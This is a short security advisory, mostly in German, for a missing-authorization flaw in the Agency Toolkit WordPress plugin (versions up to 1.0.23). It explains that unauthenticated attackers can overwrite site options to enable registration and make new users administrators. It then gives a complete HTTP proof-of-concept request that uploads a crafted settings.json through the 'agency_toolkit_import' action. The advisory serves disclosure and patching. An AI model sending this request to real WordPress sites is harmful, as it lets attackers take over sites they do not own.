
Agency Toolkit <= 1.0.23 - Missing Authorization to Unauthenticated Arbitrary Options Update
Agency Toolkit <= 1.0.23 – Fehlende Autorisierung für nicht authentifizierte Aktualisierung beliebiger Optionen
Das Agency Toolkit Plugin für WordPress ist anfällig für unbefugte Datenänderungen, die zu einer Privilegienausweitung führen können, da in allen Versionen bis einschließlich 1.0.23 eine fehlende Berechtigungsprüfung bei der Aktion 'agency_toolkit_import' vorliegt. Dadurch ist es nicht authentifizierten Angreifern möglich, beliebige Optionen auf der WordPress-Website zu aktualisieren. Dies kann ausgenutzt werden, um die Standardrolle für die Registrierung auf Administrator zu setzen und die Benutzerregistrierung zu aktivieren, sodass Angreifer administrativen Benutzerzugriff auf eine verwundbare Website erhalten.
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--